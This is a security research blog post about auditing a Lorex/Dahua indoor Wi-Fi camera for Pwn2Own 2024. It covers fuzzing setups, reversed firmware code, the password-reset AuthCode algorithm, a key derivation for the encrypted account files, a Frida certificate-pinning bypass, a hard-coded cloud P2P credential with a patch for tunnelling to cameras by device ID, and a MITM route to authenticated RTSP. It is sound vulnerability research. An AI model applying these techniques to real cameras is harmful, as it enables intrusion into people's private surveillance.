Overview
As part of my internship at the Radboud University, I teamed up again with PHP Hooligans / Midnight Blue to participate in Pwn2Own Ireland 2024 to research the 2K Indoor Wi-Fi Security Camera sold by Lorex. The Lorex 2K Indoor Wi-Fi Security Camera (or just 'the Lorex' as we like to call the device) is a small wireless consumer camera that you can use to CCTV your beloved and belongings. The main selling points of the Lorex are high quality recording, easy interaction through their Lorex app, a possibility to 2-way talk through the app (using the microphone of your phone to talk back through the camera) and of course AI to detect any common activities (person detection, motion detection).
The goal of Pwn2Own is to get pre-auth remote code execution on the device without any user interaction. Man-in-the-Middle is in scope as an attack setup for Pwn2Own.
This blog post will go through all the failed and successful attempts we did on fuzzing and auditing the Lorex. The second blog post will go in-depth on the actual vulnerability found and used during the Pwn2Own competition.
As always, we need firmware in order to research the inner-workings of the device. There are no firmware images provided as downloadables on the Lorex website, so we have to dump the firmware from the chips. We used a CH341A EEPROM Flash BIOS USB Programmer to read the firmware from the Lorex. In the end this results in a squashfs filesystem of the firmware.
sonia
Upon extraction and inspection of the squashfs of the Lorex, the /etc/inittab
appears to run /etc/init.d/dnode
and /etc/init.d/rcS
. dnode
does various mknod
calls to create several block files. rcS
launches the main logic of the whole Lorex: the sonia
binary. Sonia is a monolithic ELF-binary of size 6,7M which implements almost all logic of the Lorex.
Upon analyzing the strings and symbols of the binary, it becomes clear that the Lorex brand is just a marketing brand. The actual manufacturer is Dahua which is a Chinese camera manufacturer. The firmware running on this Lorex device is firmware created by Dahua which is compatible with this device ("IPC-C42EN-S2-Cayenne": "W461ASC"
) and some other devices ("IPC-WDB21N-Cayenne": "B241AJC"
and "IPC-A42EN-S2-Cayenne": "W462AQC"
).
The functionality of the sonia binary includes but is not limited to the following:
This is a lot of functionality that is provided by only a single binary. Some parts of the code are written in C++, some in C, and most of the code is custom (exceptions are for example wpa_supplicant
which is statically linked into the binary). The memory protections for sonia are:
Arch: arm-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
There is no PIE, so that means that no leak is necessary to find suitable ROP-gadgets which is great! pwntools
claims that there are stack canaries, but spoilers: there are only 12 calls to __stack_chk_fail
in the whole binary. There is also no RELRO which is also great, since it allows us to overwrite pointers in the GOT. And finally NX is enabled, but again spoilers: sonia itself maps /dev/mem
as rwx into its memory space which allows you to write and execute shellcode easily as long as you have a leak (the offset is randomized due to ASLR). So basically if you have a buffer overflow or arbitrary write, it is game over.
Since there is so much attack surface, we just picked the one that was familiar to us which is the HTTP server implemented by Dahua. This HTTP server is listening on port 8086 and is exposed to the local Wi-Fi network. The HTTP server requires an authenticated session in order to reach any logic. We do not know the credentials of the Lorex device used at Pwn2Own so therefore we are limited to only the authentication and general processing of HTTP requests. At this time we did not know a lot about the general structure of the sonia binary, so we decided that we want to fuzz the parsing of the HTTP requests. Since it is all code written by Dahua, there must be a parsing bug somewhere.
I already had some experience with snapshot fuzzing with Unicorn through a Rust harness and wanted to be cool, so I decided to use the "state of the art" fuzzing library 'LibAFL'. LibAFL supports QEMU-mode in which you can run the binary as a user-space application, then include breakpoints just like in GDB and as soon as a breakpoint is reached, you can start snapshot fuzzing the program.So this means:
Sounds straightforward, right?
The first step is to make the sonia binary work in user space QEMU. By performing a total of 9 patches to the sonia binary, we made this possible. These patches are related to removing device specific setup, such as PDI_MemInit
opening /dev/mem
with rwx permissions in order to do some memory mapping which we just replaced by a call to calloc
.
The second step is to identify the parsing of the HTTP request since we want to set a breakpoint at the start of parsing. Fortunately, the sonia binary includes a lot of strings used for debugging. These strings include the path to the filename, the function name, line number and message to log. Through some reverse engineering effort we identified HttpDhReqPdu_Create0
as a suitable location to break, since it receives a pointer to the unparsed HTTP data with a size of the string, converts it to an internal string representation and continues to authentication or handling the request. The code execution should stop at the end of HttpDhSvrSession_OnParseReq
which is only reached when the whole handling of the HTTP request is done.
The third step is to actually run the sonia binary in QEMU and trigger the breakpoint. This is nothing more than sending a curl
to port 8086 exposed by the emulated binary on my laptop. After triggering the breakpoint, code execution returns back to LibAFL so we can continue with setting up the fuzz case in memory and start performing snapshot fuzzing. The only issues is: the code flow does not return to LibAFL... We are stuck in emulation!
The weird thing is that the curl
request we send to the emulated binary hangs, which is expected since the server will never respond. So the breakpoint must be reached, because the TCP connection is never terminated. After some debugging it became clear that the breakpoint is actually triggered, but LibAFL is not made aware of this. This turned out to be because of threads. Sonia spawns about 50 threads, each responsible for a certain task within the binary. The threads can also communicate with each other through a system named 'aeda', more on that later. One of these threads is responsible for handling HTTP traffic and in that thread the breakpoint is reached.
Because of previous work I had done with LibAFL, I knew that there was a way to deal with threads within LibAFL through a handle_on_thread_hook
:
static mut EMULATOR: Option<Emulator> = None;
#[cfg(target_os = "linux")]
fn main() {
let cmd = vec![
"/qemu-arm-static".to_string(),
// Uncomment to attach GDB
// "-g".to_string(),
// "1233".to_string(),
"/sonia_patched.elf".to_string(),
];
let env: Vec<(String, String)> = Vec::new();
extern "C" fn handle_on_thread_hook(thread_id: u32) {
info!("[?] Thread started {}", thread_id);
let e = unsafe { EMULATOR.as_mut().unwrap() };
e.set_on_thread_hook(handle_on_thread_hook);
unsafe { e.run() };
}
unsafe {
EMULATOR = Some(Emulator::new(&cmd, &env).unwrap());
let emu = EMULATOR.as_mut().unwrap();
emu.set_breakpoint(BREAKPOINT_HTTP_DH_REQ_PDU_CREATE0);
emu.set_on_thread_hook(handle_on_thread_hook);
emu.run();
}
}
However I had to revert back to a LibAFL version of December 2023 since in later versions this functionality has been removed for no reason. The issue I encountered is basically the same as this qemu-libafl-bridge issue. The above code works if you want to pause/resume thread execution, but it is impossible to start snapshot fuzzing with this. The reason for this is that inside the qemu-libafl-bridge used by LibAFL to run QEMU, the variables used to determine if the QEMU context should exit and return back to LibAFL have a THREAD_MODIFIER
. This causes these variables to be all be separated per thread, thus the main thread will not return to LibAFL while this is actually expected by LibAFL. I tried several patches to qemu-libafl-bridge in order to remove this THREAD_MODIFIER
, stop execution of all other threads when a breakpoint is reached within a thread, terminating all the other CPU contexts upon breaking, but nothing worked. Looking into the fuzzing logs, I got the following error:
[2024-08-19T10:22:05Z ERROR libafl::executors::inprocess::unix_signal_handler] Crashed with SIGSEGV
[2024-08-19T10:22:05Z ERROR libafl::executors::inprocess::unix_signal_handler] Double crash
[2024-08-19T10:22:05Z ERROR libafl::executors::inprocess::unix_signal_handler] We crashed at addr 0x7b590357e348, but are not in the target... Bug in the fuzzer? Exiting.
[2024-08-19T10:22:05Z ERROR libafl::executors::inprocess::unix_signal_handler] ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ CRASH ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Received signal SIGSEGV at 0x005dc9093d5821, fault address: 0x007b590357e348
Looking further into the execution flow revealed that LibAFL is not able to properly start fuzzing a thread within QEMU since it expects the main thread. This means that we have to patch QEMU in such a way that the whole thread context is transferred to the main thread and then exit QEMU to return to LibAFL. However, my teammate blasty already managed to setup some snapshot fuzzing through the use of Unicorn and a lot more patches to the sonia binary. In the end I was so disappointed in the "state of the art" fuzzing of LibAFL that I decided to stop trying to get this to work, since after each fix another (even worse) problem arose and it became a huge time sink.
We have fuzzed the HTTP parsing through Unicorn, but we had no luck in finding any bugs. It turned out that almost everything is parsed using a regex and stored within variable sized strings. Since there is still a lot of attack surface left, we stopped looking at the HTTP server.
Since we want to have on-device debugging capabilities, we decided to add gdbserver to the Lorex. This allows us to remotely debug the processes on the Lorex with gdb (with pwndbg
of course). However, we noticed some interesting behavior during debugging: after a couple of minutes gdbserver stops working due to a reboot of the Lorex. Since this is very annoying during debugging, we decided to spend some time to debug this issue. The UART logs pointed us to the watchdog due to the reboot reason being a watchdog reset. Of course, the watchdog is one of the functionalities implemented in the sonia binary. We found that it communicates with a kernel module in order to feed the watchdog. According to the kernel module itself, you can interact with the watchdog quite easily:OSA_logWrite(2, 2, "[pdc] usage: \n");
OSA_logWrite(2, 2, "[pdc] help : echo h > /proc/osa_root/pdc/pdcWdt\n");
OSA_logWrite(2, 2, "[pdc] set Wdt start : echo s time(ms) > /proc/osa_root/pdc/pdcWdt\n");
OSA_logWrite(2, 2, "[pdc] set Wdt end : echo e > /proc/osa_root/pdc/pdcWdt\n");
OSA_logWrite(2, 2, "[pdc] set Wdt feed : echo f > /proc/osa_root/pdc/pdcWdt\n");
Interacting with it looks like this:
/ # echo e > /proc/osa_root/pdc/pdcWdt
/ # cat /proc/osa_root/pdc/pdcWdt
watchdog state is stop,period :40000ms
watchdog remain time is 0ms
This is great, except that it does not work! The watchdog completely ignores any feeding input or attempt to terminate the watchdog. We tried to replicate the behavior of the sonia binary by creating an external watchdog kicker that directly interacts with the kernel module. Even then the watchdog feeding did not work at all since the timer never resets. We spent a serious amount of time trying to get this to work, but it in the end we were clueless on how to proceed if the whole watchdog ignores our input. It may be a hardware related issue since zero interaction with the Lorex still causes a consistent watchdog reset every 5 minutes. In the end we decided to just leave it as is, since a time frame of five minutes is just enough to get some work done.
The Lorex exposes two protocols used for managing the device: dvrip (broadcast) and dhip (multicast). Using DHConsole2.0 it is trivial to interact with these protocols. Both protocols use JSON as the underlying format to transport information. Broadcast only has one method exposed unauthenticated to retrieve information about the device such as the device model, serial number, vendor and firmware version. Multicast has some more endpoints exposed:
Most of the endpoints require authentication, some of them don't. When we looked further into the functionalities of these endpoints, we found that PasswdFind.checkAuthCode
is related to resetting the password by using an 'AuthCode'. This is very interesting since when we are able to reset the admin password to a known password, we can authenticate with RTSP, HTTP, RPC, dvrip and dhip which opens the Lorex for many more attack vectors. The PasswdFind.checkAuthCode
expects to receive JSON like this:
{
"method": "PasswdFind.resetPassword",
"params": {
"mac": "00:1f:54:ad:af:ee",
"uni": 1,
"cipher": "AES",
"salt": "<key>",
"content": "<encrypted content>"
}
}
Here the salt
is actually an encrypted key used by AES ECB encryption/decryption of the content. The key is encrypted using a RSA public key, which can be requested by Security.getEncryptInfo
through multicast:
{
"mac": "00:1f:54:ad:af:ee",
"method": "client.notifyEncryptInfo",
"params": {
"result": true,
"asymmetric": "RSA",
"pub": "N:CD1C1ECB40E9BD8E04FDB6515A892E03DF007ABF107A829C10B08D267EBA1A11811356C20F28D204B5...,E:010001",
"cipher": ["AES"]
}
}
The encrypted content itself is a zero padded JSON string with the information to be processed by the endpoint. PasswdFind.checkAuthCode
will first decrypt the encrypted JSON and then send it to aeda handler 0x120043 for further processing. This brings us to the function usrMgr_authCodeCheck
where the actual checking of the AuthCode is done.
usrMgr_authCodeCheck
first checks if any failed password reset attempt has been done in the last 48 hours. If so, it will delete the required information in memory used for verifying the AuthCode. Otherwise, it will retrieve the required information from memory and derive the AuthCode from it. It will then compare the provided AuthCode with the computed one and if correct, return a success as the result of handling the aeda message.
The AuthCode is derived based on the following information:
1
.:
inbetween./dev/urandom
.This information is concatenated with newlines and given to a weird MD5 truncation algorithm that computes an AuthCode:
import hashlib
def auth_code_generator(md5_hash: str):
finalBuf = md5_hash
out = ''
i = 0
while i != 8:
if i % 3:
if i % 7:
v15 = finalBuf[0]
else:
v15 = finalBuf[1]
else:
v15 = finalBuf[3]
i += 1
finalBuf = finalBuf[4:]
out += v15
return out
def make_hash(input: bytes):
input = input + b'\x00'
md5 = hashlib.md5()
md5.update(input)
return md5.hexdigest()
assert auth_code_generator(make_hash(b'\n\n0\n\n\n\n')) == '414f9592'
assert auth_code_generator(make_hash(b'1\nND042401016699\n1724424373\n\n001F54ADAFEE\nB6D3062953E8807\n')) == 'd712b3bf'
The serial number and MAC are public values since these can be requested over multicast through DHDiscover.search
. The timestamp is the exact time when PasswdFind.getDescript
got called. Unfortunately due to the randomness it is not possible to fully predict the values used to derive the AuthCode.
The only way to leak the randomness is through calling PasswdFind.getDescript
. But PasswdFind.getDescript
responds with a base64 encoded encrypted blob of the relevant information to derive the AuthCode. Unfortunately, this is encrypted with RSA public key located in /usr/bin/ssl/pwdreset.pem
which is a hard-coded public key used specifically for encrypting password reset related data. The purpose of PasswdFind.getDescript
is to display such a QR-code on the left:
It appears that the Dahua support has the private key in order to decrypt the content and provide you with the AuthCode, since you have to provide them the base64 encoded encrypted content. Unfortunately, another dead end...
We also had a quick look at where the information related to the AuthCode is stored on disk. This appeared to be in /mnt/mtd/Config/Account1Sec
and /mnt/mtd/Config/Account1SecEData
which are both ECB encrypted blobs of data. The key used for encryption is the 'device class' (IPC
) concatenated with the serial number (ND042401016699
in our case):
def derive_key(input: bytes):
xored = b''
for i in range(len(input)):
xored += bytes([input[i] ^ (i + 1)])
import hashlib
md5 = hashlib.md5()
md5.update(xored)
return md5.hexdigest()
assert derive_key(b"IPCND042401016699") == '1d6f95ae7724fce5969e89245e191d8e'
Inside /mnt/mtd/Config/Account1Sec
all the account information is stored, such as username, password, group access and it even supports multiple accounts./mnt/mtd/Config/Account1SecEData
contains the data related to deriving the AuthCode, so all five pieces of information required to compute the AuthCode are stored within this file. If we have a local file inclusion or can read this file in one way or another, it is trivial to compute the AuthCode and to reset the password of the administrator user.Unfortunately, we were not able to find such a local file inclusion that allows for this attack vector.
The sonia binary implements inter-process communication (IPC) in order to centrally manage parts of certain logic such as the authentication flow. Instead of directly calling a function auth(username, password)
, sonia likes to build an 'aeda' message, adds it to a queue and then resolve the remaining logic through a callback. Here is an example of how authentication is implemented in DHDiscover.setConfig
:
ObjectItem = cJSON_GetObjectItem(a1, (char *)"params");
username = cJSON_GetObjectItem(ObjectItem, "userName");
v10 = cJSON_GetObjectItem(a1, (char *)"params");
passwd = cJSON_GetObjectItem(v10, "password");
v12 = cJSON_GetObjectItem(a1, (char *)"params");
v13 = cJSON_GetObjectItem(v12, "deviceConfig");
if ( passwd && *passwd->valuestring )
{
ConfigSettingRequest = MulticastStack_Multicast_createConfigSettingRequest(a2, (int)v13, a3);
if ( ConfigSettingRequest )
{
memset(username_struct, 0, sizeof(username_struct));
strncpy(&username_struct[4], username->valuestring, 0x1Fu);
*(_DWORD *)&username_struct[36] = 9;
*(_DWORD *)&username_struct[128] = 1;
strncpy(&username_struct[40], a2, 0x3Fu);
memset(password_struct, 0, 0x610u);
strncpy(password_struct, g_uuid, 0x3Fu);
strncpy(&password_struct[64], passwd->valuestring, 0x7Fu);
aedaMsg = (_DWORD *)aeda_msgCreate(0x698);
aedaMsg[4] = 0;
aedaMsg[8] = ConfigSettingRequest;
*aedaMsg = 0x120001; // handler ID
aedaMsg[9] = 0;
aedaMsg[6] = MulticastStack_onCheckPwdResp; // callback
ConfigSettingRequest[3] = a4;
aeda_set_parameter((int)aedaMsg, 1, username_struct, 136u); // username parameter
aeda_set_parameter((int)aedaMsg, 2, password_struct, 1552u); // password parameter
if ( SoftBus_aeda_softBusSendMsg(0x120000, aedaMsg, v22) >= 0 ) // send to the correct softbus
return 0; // code flow continues in the aeda handler function and then the callback
sub_1A1D1C((int)aedaMsg);
MulticastStack_Multicast_destroyConfigSettingRequest(ConfigSettingRequest);
logging(
"Src/MulticastAppV2/MulticastStack.c",
"Multicast_setConfig",
1385,
"MulticastApp",
2u,
"send message to `SERVICE_ID_MANAGER_USRMGRSERVER` failed"
);
}
}
As can be seen in the code snippet, an aeda message is allocated through aeda_msgCreate
and several parameters are set. Most importantly are the aeda handler ID, which is 0x120001 in this case and the callback which is MulticastStack_onCheckPwdResp
. In order to dispatch the aeda message, it is sent to the corresponding softbus matching the handler ID (so in this case softbus 0x120000).
The underlying implementation of SoftBus_aeda_softBusSendMsg
is some sort of blackhole of IPC. Somewhere else in the binary a function is executed that handles this message and then the callback is executed. At first this was quite confusing, since we could not find any direct references to the underlying executed function. By searching the whole binary for the value 0x120001, we found a table of handler ID and function pointers:
.rodata:004F6E54 DCD 0x120001 ; code
.rodata:004F6E58 DCD Client_000f5e94+1 ; function
.rodata:004F6E5C DCD 0x120003 ; code
.rodata:004F6E60 DCD sub_F5EF8+1 ; function
.rodata:004F6E64 DCD 0x120034 ; code
.rodata:004F6E68 DCD Client_000f610c+1 ; function
...
Here function Client_000f5e94
is the function executed when handler ID 0x120001 is used. Each function reads the aeda message and wraps a response with response code handler ID + 1
, so in the case of authentication that would be 0x120002. All authentication / user management functionalities are grouped in softbus 0x120000, but there are more aeda handler tables scattered around the binary each implementing different categories of functionalities.
We decided to have a look at the Android and Windows app to see how the communication and especially the RTSP stream is created between an external device and the camera. For the Android app, we installed it on a (physical) rooted Android phone and configured the Android proxy settings to a Burp Suite installation on my laptop. However, the Android app stopped performing any network requests as soon as the Burp Suite proxy was configured. TLS is used when connecting to the backend and the certificates were not trusted by my phone. However, installing the self-signed certificates of my Burp Suite installation did not resolve the issue. It appeared that there is an explicit certificate validation within the Lorex app that decides whether a certificate is trusted. We tried patching this check, but recompiling the Lorex app does not result in a working Android apk.
We then decided to use Frida to patch the app at runtime to skip any certificate validation.The following code disables the certificate validation checks:
Java.perform(function () {
let TrustAllX509TrustManager = Java.use(
"com.hsview.utils.ssl.TrustAllX509TrustManager"
);
TrustAllX509TrustManager["checkServerTrusted"].implementation = function (
x509CertificateArr,
str
) {
return;
};
});
Afterwards we can freely inspect any HTTP server traffic between the app and the cloud servers.
We can see that the Android app requests some information about the Lorex including its current IP. However, the RTSP stream was not visible in Burp Suite so we checked the Windows app. Creating a pcap of the Windows app when connected to the camera showed us that there is a UDP protocol encapsulating the TCP RTSP stream and send directly to the camera. After some searching, we found that this UDP protocol already has been reverse engineered since Dahua uses it in more of their products.
In short, the protocol works like this:
In order to connect to the Lorex cloud services, the public user 'P2PClient' with password 'JTtvvqLDO2yBsaJI_LorexHome_20180420' should be used for connection purposes. We patched the Rust implementation of dh-p2p in order to make it working for the Lorex cloud services (there are some small differences in the protocol compared to the Easy4IPCloud services):
diff --git a/src/dh.rs b/src/dh.rs
index 1501e20..4d1ea75 100644
--- a/src/dh.rs
+++ b/src/dh.rs
@@ -7,10 +7,10 @@ use xml::reader::{EventReader, XmlEvent};
use crate::ptcp::{PTCPBody, PTCPSession, PTCP};
-static MAIN_SERVER: &str = "www.easy4ipcloud.com:8800";
+static MAIN_SERVER: &str = "p2p.lorexservices.com:8800";
static USERNAME: &str = "P2PClient";
-static USERKEY: &str = "YXQ3Mahe-5H-R1Z_";
+static USERKEY: &str = "JTtvvqLDO2yBsaJI_LorexHome_20180420";
fn ip_to_bytes(ip: &str) -> Vec<u8> {
let addr: SocketAddrV4 = ip.parse().unwrap();
@@ -43,7 +43,9 @@ pub async fn p2p_handshake(
&mut cseq,
)
.await;
- let p2psrv = &socket.dh_read().await.body.unwrap()["body/US"];
+ let p2psrv = &String::from(MAIN_SERVER);
+
+ socket.dh_read().await;
socket.dh_request("/online/relay", None, &mut cseq).await;
let relay = &socket.dh_read().await.body.unwrap()["body/Address"];
@@ -94,7 +96,7 @@ pub async fn p2p_handshake(
let mut res = socket.dh_read_raw().await;
- if res.code == 100 {
+ while res.code != 200 {
res = socket.dh_read_raw().await;
}
@@ -108,7 +110,8 @@ pub async fn p2p_handshake(
}
let data = res.body.unwrap();
- let device_laddr = &data["body/LocalAddr"];
+ let device_laddr = data["body/LocalAddr"].split(',').collect::<Vec<&str>>()[1];
+
let device = &data["body/PubAddr"];
// not necessary when relay_mode is true, but UDP is connectionless
This now let you access the localhost interface of any Lorex in the world from anywhere as long as you know the device ID of the Lorex. It is unknown to us if the device ID is an incremental ID or predictable in some way. Unfortunately, this P2P protocol only allows you to setup a tunnel. The device password is still required in order to actually authenticate. Therefore you cannot initiate an RTSP stream with only a P2P tunnel. And since for Pwn2Own we are already within Wi-Fi range of the Lorex, it has not real benifit to create a P2P tunnel. But hey, it is still cool to know that as soon as anyone knows your device ID they can directly communicate with your camera! Better don't post pictures online of your device ID QR-code on the back of the Lorex.
Until now we haven't looked at what traffic the Lorex itself actually sends to the cloud. An attack that works without MITM is much cooler and I got heavily pushed by my team to not MITM, but since we now had quite some dead ends I decided to still analyze the traffic between the Lorex and the cloud servers. Since the Lorex is a Wi-Fi only device, we have to configure a fake access point to connect to it. Running tcpdump over this Wi-Fi connection showed us that most of the communication to the cloud servers is done through TLS. Since we wanted to properly audit the certificate checks, we used certmitm to see if there are any mistakes made in certificate checking. After setting this up, it appeared that there is no certificate checking at all. The Lorex accepts any self-signed certificate as a valid certificate for communication. So it is trivial to use mitmproxy to intercept and modify the requests.
There are two relevant cloud services used by the Lorex:
devaccess.lorexservices.com:10000
.dmsX.lorexservices.com:15301
where X is a number 1-6.The DAS replies to the Lorex a JSON like this:
{
"DMS": {
"addr": "dms5.lorexservices.com",
"port": 15301
},
"DevCfgServer": {
"addr": "deviceonlineconfigserver-vg-elb-1843309836.us-east-1.elb.amazonaws.com",
"httpsEnable": true,
"port": 42045
},
"LogServer": {
"addr": "0.0.0.0",
"port": 443
},
"P2P": {
"addr": "p2p.lorexservices.com",
"port": 8800
},
"type": "easy4ip"
}
The Lorex then connects with the DMS IP and port. The DMS is a TCP socket where HTTP messages with a JSON body are pushed by both ends. Those HTTP messages are interpreted by an internal HTTP server specifically used for device management. When the Lorex first connects, it requests some information from the cloud servers by sending a total of 10 requests. When you change the configuration in the Android app, the DMS server will push these configuration changes to the Lorex.
By patching the DMS domain in the JSON replied by the DAS, we can let the Lorex connect to our own DMS which replicates the behavior of the real DMS. We are then able to interact with the Lorex as if we are the DMS.
The Lorex supports two-way communication. This means that it is possible to use the microphone of your phone to talk back through the Lorex. We found something interesting when the microphone is activated: instead of using the P2P tunnel to send the audio stream, the DMS instructs the Lorex to connect to a specific IP to start talking RTSP (again). This IP is not the IP where you Android app runs, so all your voice data is sent through a third-party server to your Lorex camera. If you change this third-party IP to be your own self-controlled IP, the connection you get back from the Lorex is already authenticated and therefore you can start sending RTSP messages right away! We are not sure if this is by design or an oversight in the authentication flow. At least this allows us to finally have some more attack surface without knowing any credentials even though this requires a MITM position (which is allowed at Pwn2Own).
We decided to focus on the handling of incoming voice RTSP data, since we assumed that in the parsing of voice data would probably contain a bug. Through quite some reverse engineering and debugging effort, we found the general flow of a voice data packet before it is processed by 'libaudio' which is an audio library implemented by Dahua.
RTSPSession_interleaved_data_parser
.RTSPSession_interleaved_data_parser
and then RtspServer_RtspServer_OnSessionInterleave
is executed.RtspServer_RtspServer_OnSessionInterleave
will first decrypt the packet with VsphsParser
, which supports both FrameEncoder_frame_decoder0xB5
as well as FrameEncoder_frame_decoderAES
.VsphsHandle_RtspHandleVSHPS_OnData
will be executed, which will execute HSDeviceMedia_DeviceMedia_audioProc
, which will again execute TalkApp_PacketDataPut
.TalkApp_PacketDataPut
will put data to a queue and in another thread TalkApp_TaskExecProc
is executed in a while-true loop, reading any incoming data.AudioDecApp_putPacket
, which will execute DevAudioDec_media_devADecPutPacket
, which again executes DevAudioDec_aDec_startDoPutPkt
.DevAudioDec_aDec_startDoPutPkt
will pass the packet to libaudio_AUD_decPutPacket
which is part of the libaudio library. This library actually is going to read the content of the decrypted packet.We decided to use our Unicorn fuzzer and snapshot fuzz the parsing within libaudio_AUD_decPutPacket
since there the parsing of the decrypted data starts. Unfortunately, we found only non-exploitable crashes by fuzzing the parsing of a single packet. It may be the case that a multi-packet setup could result in different and/or better bugs, but this is not feasible with our Unicorn setup since we cannot do any easy I/O with it and the use of different threads throughout the lifetime of the packet complicates the fuzzing.
However, there is also parsing done of the packet before it reaches libaudio since the voice data is not send unencrypted to the Lorex. As mentioned before, there are two possibilities for decryption of voice data:
FrameEncoder_frame_decoderAES
(default)FrameEncoder_frame_decoder0xB5
Both functions require a special 'DHAV' packet format. This packet format is a Dahua propriatary audio packet format. There are almost no resources online to be found about DHAV, except that ffmpeg has some support for it. The source code of ffmpeg only partially matches with the implementation we see in the Lorex.
The implementation of FrameEncoder_frame_decoderAES
seems rather straightforward: read some packet headers, do some length checks, decrypt the packet body, return the decrypted packet. Since this is the default encryption/decryption method used by the Lorex cloud servers, we skipped it. The '0xB5 decoder' sounded way more interesting! The 0xB5 encoder/decoder can be easily activated by setting the GET-parameter encrypt=3
when sending the RTSP SETUP and PLAY requests. The 0xB5 encoder supports sending up to 256 bytes of encrypted data, any extra data will be send unencrypted. However, we will focus on the 0xB5 decoder since it directly interacts with any incoming data and its parsing is rather complex since a DHAV packet looks like this:
struct DHAVPacket // sizeof=0x18;variable_size
{
char DHAVHeader[4];
char field_4;
char sample_rate_idx;
char field_6;
char field_7;
int field_8;
__int32 dwInframe_len;
__int32 field_10;
char field_14;
char field_15;
unsigned __int8 bMaxSize;
char bField_17;
char header[];
};
struct __attribute__((packed)) __attribute__((aligned(4))) DHAVDynamicHeader // sizeof=0x2C
{
char startOfExtraHeader;
char unknown;
char type;
unsigned __int16 wOffsetLow;
unsigned __int8 bOffsetHigh;
unsigned __int16 wEncLenLow;
unsigned __int8 bEncLenHigh;
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
// padding byte
unsigned __int16 wFrame_crc;
__int64 qwIv;
__int32 field_23;
__int32 field_27;
char field_2B;
};
There is an initial DHAVPacket which holds the DHAV
magic as the first four bytes.This packet contains some information about the length of the packet and the maximum size of the DHAVDynamicHeader. The DHAVDynamicHeader is an extra header of variable size, which size is determined by the following function:
int __fastcall FrameEncoder_FindExtFlagLocate(char *a1, int maxSize, int hexB5)
{
int size; // r3
int val; // r4
size = 0;
while ( 2 )
{
if ( size >= maxSize )
return -1;
val = (unsigned __int8)a1[size];
switch ( a1[size] )
{
case 0x80:
case 0x81:
case 0x83:
case 0x85:
case 0x89:
case 0x8B:
case 0x94:
case 0x96:
case 0x98:
case 0xA0:
case 0xA1:
if ( hexB5 == val )
return size;
size += 4;
continue;
case 0x82:
case 0x84:
case 0x88:
case 0x8A:
case 0x90:
case 0x91:
case 0x92:
case 0x93:
case 0x95:
case 0x9A:
case 0x9B:
if ( hexB5 == val )
return size;
size += 8;
continue;
case 0x8C:
case 0xB0:
case 0xB1:
case 0xB2:
case 0xB3:
case 0xB4:
case 0xB5:
if ( hexB5 == val )
return size;
size += (unsigned __int8)a1[size + 1];
continue;
case 0x97:
if ( hexB5 == 0x97 )
return size;
size += 16 * (unsigned __int8)a1[size + 1] + 8;
continue;
case 0x99:
if ( hexB5 != 0x99 )
{
size += 8 + 16 * (unsigned __int8)a1[size + 1] * (unsigned __int8)a1[size + 2];
continue;
}
return size;
case 0x9C:
size += 8 + (unsigned __int8)a1[size + 4] + ((unsigned __int8)a1[size + 5] << 8);
continue;
default:
logging(
"Src/RtspHandle/Mbedtls/FrameEncoder/FrameEncoder.c",
"FindExtFlagLocate",
236,
"FrameEncoder",
2u,
"we do not recognize extend flag, may be need update, Flag=%2x",
(unsigned __int8)a1[size]);
return -1;
}
}
}
The resulting offset determines the start of the dynamic header in the char header[]
. The dynamic header includes more information about the body of the DHAV packet, such as the length of the encrypted content in the body and the offset it should start reading from within the char header[]
to read the body. The encrypted body content will be decrypted using AES OFB with an encryption key based on the device ID:
# key derivation done at 001688EC
def compute_encrypt_key(device_id: str):
serial_no_md5 = hashlib.md5(device_id.encode()).hexdigest()
hs_md5 = hashlib.md5(b"HS:" + serial_no_md5.encode()).hexdigest()
full_key = base64.b64encode(hs_md5.encode() + b"EASY4IP") # yes this string concatenation and base64 encoding does not make sense at all
return full_key[0:16]
Note that the device ID is also known by the Lorex cloud services as part of the Device Authentication Service registration protocol.In the dynamic header there is also a frame crc, however this is not a crc over the actual packet but a crc over some completely different data structure in memory and it is static per device since it depends on the device ID. Sending a length field bigger than expected is not possible, since there are some strict checks before it starts reading the packet content:
...
frame = 0;
dynamicHeader = (DHAVDynamicHeader *)&originalPacketContent->header[dynamicHeaderSize];
LOWORD(offset) = dynamicHeader->wOffsetLow;
HIWORD(offset) = dynamicHeader->bOffsetHigh;
LOWORD(encLen) = dynamicHeader->wEncLenLow;
HIWORD(encLen) = dynamicHeader->bEncLenHigh;
if ( local_crc != dynamicHeader->wFrame_crc )
{
logging(
"Src/RtspHandle/Mbedtls/FrameEncoder/FrameEncoder.c",
"frame_decoder0xB5",
687,
"FrameEncoder",
2u,
"check crc failed, frame_crc:%u, local_crc:%u",
dynamicHeader->wFrame_crc,
local_crc);
return frame;
}
maxSize_len = originalPacketContent->bMaxSize;
inframe_len = originalPacketContent->dwInframe_len;
if ( inframe_len < maxSize_len + 32 )
{
logging(
"Src/RtspHandle/Mbedtls/FrameEncoder/FrameEncoder.c",
"frame_decoder0xB5",
694,
"FrameEncoder",
2u,
"frame len(%u) error!",
originalPacketContent->dwInframe_len);
return frame;
}
rawLen = inframe_len - 32 - maxSize_len;
encLenPlusOffset = encLen + offset;
if ( encLen + offset > rawLen )
{
logging(
"Src/RtspHandle/Mbedtls/FrameEncoder/FrameEncoder.c",
"frame_decoder0xB5",
703,
"FrameEncoder",
2u,
"check len error, offset:%u, encLen:%u, rawLen:%u\n",
offset,
encLen,
rawLen);
return frame;
}
v12 = Packet_mallocPacket(inframe_len - 44, "FrameEncoder");
frame = v12;
if ( !v12 )
{
logging(
"Src/RtspHandle/Mbedtls/FrameEncoder/FrameEncoder.c",
"frame_decoder0xB5",
711,
"FrameEncoder",
2u,
"malloc pkt failed!");
return 0;
}
...
However, integer underflowing is possible:
...
Packet_aeda_packetResize(v12, 0);
Packet_aeda_packetPut(frame, originalPacketContent, dynamicHeaderSize_c + 24);
maxSize = originalPacketContent->bMaxSize;
if ( dynamicHeaderSize_c + 44 < maxSize )
Packet_aeda_packetPut(
frame,
&originalPacketContent->header[dynamicHeaderSize_c + 44],
maxSize - dynamicHeaderSize_c - 44);
v14 = (DHAVPacket *)Packet_aeda_packetGet(frame);
v15 = (DHAVPacket *)Packet_aeda_packetGet(frame);
v14->dwInframe_len -= 44;
